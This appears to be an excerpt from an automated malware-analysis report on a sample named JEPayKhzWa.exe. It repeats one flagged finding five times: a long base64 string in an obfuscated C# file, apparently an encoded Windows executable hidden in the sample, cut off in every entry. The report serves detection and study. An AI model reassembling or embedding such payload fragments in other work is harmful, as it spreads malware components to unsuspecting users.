Source: 0.0.JEPayKhzWa.exe.f70000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Base64 encoded string: 'VServiceModelChannelsWebSocketTransportDuplexSessionChannelcDisplayClass49144FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU9OQ2ZxQUFBQUFBQUFBQUFPQUFBZ0VMQVRBQUFIQUJBQUFNQUFBQUFBQUE4bjBCQUFBZ0FBQUFvQUVBQUFCQUFBQWdBQUFBQkFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEZ0FRQUFCQUFBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFLQjlBUUJQQUFBQUFLQUJBT1FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQkFBd0FBQUNFZlFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUE4R3dCQUFBZ0FBQUFjQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU9RRUFBQUFvQUVBQUFnQUFBQjBBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQU1BQkFBQUVBQUFBZkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlI5QVFBQUFBQUFTQUFBQUFJQUJRQXdvUUFBVk53QUFBTUFBQUF6QUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQVB3Q0FBQUJBQUFSY3hjQUFBb0tBbjRMQVFBRUpTMFhKbjRLQVFBRS9nYTZBUUFHY3hnQUFBb2xnQXNCQUFRb0FRQUFLMjhhQUFBS0N6aW9BZ0FBQjI4YkFBQUtGeGNaalVZQUFBRWxGaDhLalVjQUFBRWwwT2NBQUFRb0hBQUFDbk1kQUFBS29pVVhIbzFIQUFBQkpkRGZBQUFFS0J3QUFBcHpIUUFBQ3FJbEdCMk5Sd0FBQVNYUTVBQUFCQ2djQUFBS2N4MEFBQXFpS01JQUFBWnZIZ0FBQ2d3NElnSUFBQklDS0I4QUFBb05jN01CQUFZVEJIUHNBQUFHRXdVUkJINGdBQUFLZlFrQkFBUitJQUFBQ2hNR0VRUUpjeUVBQUFvb0lnQUFDbThqQUFBS2ZRa0JBQVFSQkhzSkFRQUVIdytOUndBQUFTWFE3d0FBQkNnY0FBQUtjeDBBQUFwdkpBQUFDaXdhSG8xSEFBQUJKZERhQUFBRUtCd0FBQXB6SFFBQUNoTUdLMDhKSHo2TlJ3QUFBU1hRcHdBQUJDZ2NBQUFLY3gwQUFBcHlBUUFBY0g0Z0FBQUtLQ1VBQUFvb0pnQUFDbThrQUFBS0xRNFJCSHNKQVFBRUtNVUFBQVlyREJFRWV3a0JBQVFveEFBQUJoTUdFUVlvSndBQUNqb3lBUUFBRVFZV2J5Z0FBQW9UQ0JJSUtDa0FBQXB2S2dBQUNoRUdGaGR2S3dBQUNpZ3NBQUFLRXdZUkJIc0pBUUFFS01NQUFBWVRCeEVIS0NjQUFBbzY4Z0FBQUJFRkVRWnY0QUFBQmhFRkVRZHY0Z0FBQmhFRkVRVCtCclFCQUFaekxRQUFDbjRNQVFBRUpTMFhKbjRLQVFBRS9nYTdBUUFHY3k0QUFBb2xnQXdCQUFRb0FnQUFLMi9rQUFBR0VRVVJCUDRHdFFFQUJuTXZ
Source: 0.2.JEPayKhzWa.exe.f70000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Base64 encoded string: 'VServiceModelChannelsWebSocketTransportDuplexSessionChannelcDisplayClass49144FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU9OQ2ZxQUFBQUFBQUFBQUFPQUFBZ0VMQVRBQUFIQUJBQUFNQUFBQUFBQUE4bjBCQUFBZ0FBQUFvQUVBQUFCQUFBQWdBQUFBQkFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEZ0FRQUFCQUFBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFLQjlBUUJQQUFBQUFLQUJBT1FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQkFBd0FBQUNFZlFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUE4R3dCQUFBZ0FBQUFjQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU9RRUFBQUFvQUVBQUFnQUFBQjBBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQU1BQkFBQUVBQUFBZkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlI5QVFBQUFBQUFTQUFBQUFJQUJRQXdvUUFBVk53QUFBTUFBQUF6QUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQVB3Q0FBQUJBQUFSY3hjQUFBb0tBbjRMQVFBRUpTMFhKbjRLQVFBRS9nYTZBUUFHY3hnQUFBb2xnQXNCQUFRb0FRQUFLMjhhQUFBS0N6aW9BZ0FBQjI4YkFBQUtGeGNaalVZQUFBRWxGaDhLalVjQUFBRWwwT2NBQUFRb0hBQUFDbk1kQUFBS29pVVhIbzFIQUFBQkpkRGZBQUFFS0J3QUFBcHpIUUFBQ3FJbEdCMk5Sd0FBQVNYUTVBQUFCQ2djQUFBS2N4MEFBQXFpS01JQUFBWnZIZ0FBQ2d3NElnSUFBQklDS0I4QUFBb05jN01CQUFZVEJIUHNBQUFHRXdVUkJINGdBQUFLZlFrQkFBUitJQUFBQ2hNR0VRUUpjeUVBQUFvb0lnQUFDbThqQUFBS2ZRa0JBQVFSQkhzSkFRQUVIdytOUndBQUFTWFE3d0FBQkNnY0FBQUtjeDBBQUFwdkpBQUFDaXdhSG8xSEFBQUJKZERhQUFBRUtCd0FBQXB6SFFBQUNoTUdLMDhKSHo2TlJ3QUFBU1hRcHdBQUJDZ2NBQUFLY3gwQUFBcHlBUUFBY0g0Z0FBQUtLQ1VBQUFvb0pnQUFDbThrQUFBS0xRNFJCSHNKQVFBRUtNVUFBQVlyREJFRWV3a0JBQVFveEFBQUJoTUdFUVlvSndBQUNqb3lBUUFBRVFZV2J5Z0FBQW9UQ0JJSUtDa0FBQXB2S2dBQUNoRUdGaGR2S3dBQUNpZ3NBQUFLRXdZUkJIc0pBUUFFS01NQUFBWVRCeEVIS0NjQUFBbzY4Z0FBQUJFRkVRWnY0QUFBQmhFRkVRZHY0Z0FBQmhFRkVRVCtCclFCQUFaekxRQUFDbjRNQVFBRUpTMFhKbjRLQVFBRS9nYTdBUUFHY3k0QUFBb2xnQXdCQUFRb0FnQUFLMi9rQUFBR0VRVVJCUDRHdFFFQUJuTXZ
Source: 3.2.JEPayKhzWa.exe.2c0000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Base64 encoded string: 'VServiceModelChannelsWebSocketTransportDuplexSessionChannelcDisplayClass49144FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU9OQ2ZxQUFBQUFBQUFBQUFPQUFBZ0VMQVRBQUFIQUJBQUFNQUFBQUFBQUE4bjBCQUFBZ0FBQUFvQUVBQUFCQUFBQWdBQUFBQkFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEZ0FRQUFCQUFBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFLQjlBUUJQQUFBQUFLQUJBT1FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQkFBd0FBQUNFZlFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUE4R3dCQUFBZ0FBQUFjQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU9RRUFBQUFvQUVBQUFnQUFBQjBBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQU1BQkFBQUVBQUFBZkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlI5QVFBQUFBQUFTQUFBQUFJQUJRQXdvUUFBVk53QUFBTUFBQUF6QUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQVB3Q0FBQUJBQUFSY3hjQUFBb0tBbjRMQVFBRUpTMFhKbjRLQVFBRS9nYTZBUUFHY3hnQUFBb2xnQXNCQUFRb0FRQUFLMjhhQUFBS0N6aW9BZ0FBQjI4YkFBQUtGeGNaalVZQUFBRWxGaDhLalVjQUFBRWwwT2NBQUFRb0hBQUFDbk1kQUFBS29pVVhIbzFIQUFBQkpkRGZBQUFFS0J3QUFBcHpIUUFBQ3FJbEdCMk5Sd0FBQVNYUTVBQUFCQ2djQUFBS2N4MEFBQXFpS01JQUFBWnZIZ0FBQ2d3NElnSUFBQklDS0I4QUFBb05jN01CQUFZVEJIUHNBQUFHRXdVUkJINGdBQUFLZlFrQkFBUitJQUFBQ2hNR0VRUUpjeUVBQUFvb0lnQUFDbThqQUFBS2ZRa0JBQVFSQkhzSkFRQUVIdytOUndBQUFTWFE3d0FBQkNnY0FBQUtjeDBBQUFwdkpBQUFDaXdhSG8xSEFBQUJKZERhQUFBRUtCd0FBQXB6SFFBQUNoTUdLMDhKSHo2TlJ3QUFBU1hRcHdBQUJDZ2NBQUFLY3gwQUFBcHlBUUFBY0g0Z0FBQUtLQ1VBQUFvb0pnQUFDbThrQUFBS0xRNFJCSHNKQVFBRUtNVUFBQVlyREJFRWV3a0JBQVFveEFBQUJoTUdFUVlvSndBQUNqb3lBUUFBRVFZV2J5Z0FBQW9UQ0JJSUtDa0FBQXB2S2dBQUNoRUdGaGR2S3dBQUNpZ3NBQUFLRXdZUkJIc0pBUUFFS01NQUFBWVRCeEVIS0NjQUFBbzY4Z0FBQUJFRkVRWnY0QUFBQmhFRkVRZHY0Z0FBQmhFRkVRVCtCclFCQUFaekxRQUFDbjRNQVFBRUpTMFhKbjRLQVFBRS9nYTdBUUFHY3k0QUFBb2xnQXdCQUFRb0FnQUFLMi9rQUFBR0VRVVJCUDRHdFFFQUJuTXZ
Source: 3.0.JEPayKhzWa.exe.2c0000.0.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Base64 encoded string: 'VServiceModelChannelsWebSocketTransportDuplexSessionChannelcDisplayClass49144FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU9OQ2ZxQUFBQUFBQUFBQUFPQUFBZ0VMQVRBQUFIQUJBQUFNQUFBQUFBQUE4bjBCQUFBZ0FBQUFvQUVBQUFCQUFBQWdBQUFBQkFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEZ0FRQUFCQUFBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFLQjlBUUJQQUFBQUFLQUJBT1FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQkFBd0FBQUNFZlFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUE4R3dCQUFBZ0FBQUFjQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU9RRUFBQUFvQUVBQUFnQUFBQjBBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQU1BQkFBQUVBQUFBZkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlI5QVFBQUFBQUFTQUFBQUFJQUJRQXdvUUFBVk53QUFBTUFBQUF6QUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQVB3Q0FBQUJBQUFSY3hjQUFBb0tBbjRMQVFBRUpTMFhKbjRLQVFBRS9nYTZBUUFHY3hnQUFBb2xnQXNCQUFRb0FRQUFLMjhhQUFBS0N6aW9BZ0FBQjI4YkFBQUtGeGNaalVZQUFBRWxGaDhLalVjQUFBRWwwT2NBQUFRb0hBQUFDbk1kQUFBS29pVVhIbzFIQUFBQkpkRGZBQUFFS0J3QUFBcHpIUUFBQ3FJbEdCMk5Sd0FBQVNYUTVBQUFCQ2djQUFBS2N4MEFBQXFpS01JQUFBWnZIZ0FBQ2d3NElnSUFBQklDS0I4QUFBb05jN01CQUFZVEJIUHNBQUFHRXdVUkJINGdBQUFLZlFrQkFBUitJQUFBQ2hNR0VRUUpjeUVBQUFvb0lnQUFDbThqQUFBS2ZRa0JBQVFSQkhzSkFRQUVIdytOUndBQUFTWFE3d0FBQkNnY0FBQUtjeDBBQUFwdkpBQUFDaXdhSG8xSEFBQUJKZERhQUFBRUtCd0FBQXB6SFFBQUNoTUdLMDhKSHo2TlJ3QUFBU1hRcHdBQUJDZ2NBQUFLY3gwQUFBcHlBUUFBY0g0Z0FBQUtLQ1VBQUFvb0pnQUFDbThrQUFBS0xRNFJCSHNKQVFBRUtNVUFBQVlyREJFRWV3a0JBQVFveEFBQUJoTUdFUVlvSndBQUNqb3lBUUFBRVFZV2J5Z0FBQW9UQ0JJSUtDa0FBQXB2S2dBQUNoRUdGaGR2S3dBQUNpZ3NBQUFLRXdZUkJIc0pBUUFFS01NQUFBWVRCeEVIS0NjQUFBbzY4Z0FBQUJFRkVRWnY0QUFBQmhFRkVRZHY0Z0FBQmhFRkVRVCtCclFCQUFaekxRQUFDbjRNQVFBRUpTMFhKbjRLQVFBRS9nYTdBUUFHY3k0QUFBb2xnQXdCQUFRb0FnQUFLMi9rQUFBR0VRVVJCUDRHdFFFQUJuTXZ
Source: 4.2.JEPayKhzWa.exe.ef0000.1.unpack, SystemServiceModelChannelsServiceChannelICallOnce94314.cs	Base64 encoded string: 'VServiceModelChannelsWebSocketTransportDuplexSessionChannelcDisplayClass49144FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFCUVJRQUFUQUVEQU9OQ2ZxQUFBQUFBQUFBQUFPQUFBZ0VMQVRBQUFIQUJBQUFNQUFBQUFBQUE4bjBCQUFBZ0FBQUFvQUVBQUFCQUFBQWdBQUFBQkFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFEZ0FRQUFCQUFBQUFBQUFBSUFRSVVBQUJBQUFCQUFBQUFBRUFBQUVBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFLQjlBUUJQQUFBQUFLQUJBT1FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQkFBd0FBQUNFZlFFQUhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFDQUFBQUFBQUFBQUFBQUFBQ0NBQUFFZ0FBQUFBQUFBQUFBQUFBQzUwWlhoMEFBQUE4R3dCQUFBZ0FBQUFjQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU9RRUFBQUFvQUVBQUFnQUFBQjBBUUFBQUFBQUFBQUFBQUFBQUFCQUFBQkFMbkpsYkc5akFBQU1BQUFBQU1BQkFBQUVBQUFBZkFFQUFBQUFBQUFBQUFBQUFBQUFRQUFBUWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTlI5QVFBQUFBQUFTQUFBQUFJQUJRQXdvUUFBVk53QUFBTUFBQUF6QUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQVB3Q0FBQUJBQUFSY3hjQUFBb0tBbjRMQVFBRUpTMFhKbjRLQVFBRS9nYTZBUUFHY3hnQUFBb2xnQXNCQUFRb0FRQUFLMjhhQUFBS0N6aW9BZ0FBQjI4YkFBQUtGeGNaalVZQUFBRWxGaDhLalVjQUFBRWwwT2NBQUFRb0hBQUFDbk1kQUFBS29pVVhIbzFIQUFBQkpkRGZBQUFFS0J3QUFBcHpIUUFBQ3FJbEdCMk5Sd0FBQVNYUTVBQUFCQ2djQUFBS2N4MEFBQXFpS01JQUFBWnZIZ0FBQ2d3NElnSUFBQklDS0I4QUFBb05jN01CQUFZVEJIUHNBQUFHRXdVUkJINGdBQUFLZlFrQkFBUitJQUFBQ2hNR0VRUUpjeUVBQUFvb0lnQUFDbThqQUFBS2ZRa0JBQVFSQkhzSkFRQUVIdytOUndBQUFTWFE3d0FBQkNnY0FBQUtjeDBBQUFwdkpBQUFDaXdhSG8xSEFBQUJKZERhQUFBRUtCd0FBQXB6SFFBQUNoTUdLMDhKSHo2TlJ3QUFBU1hRcHdBQUJDZ2NBQUFLY3gwQUFBcHlBUUFBY0g0Z0FBQUtLQ1VBQUFvb0pnQUFDbThrQUFBS0xRNFJCSHNKQVFBRUtNVUFBQVlyREJFRWV3a0JBQVFveEFBQUJoTUdFUVlvSndBQUNqb3lBUUFBRVFZV2J5Z0FBQW9UQ0JJSUtDa0FBQXB2S2dBQUNoRUdGaGR2S3dBQUNpZ3NBQUFLRXdZUkJIc0pBUUFFS01NQU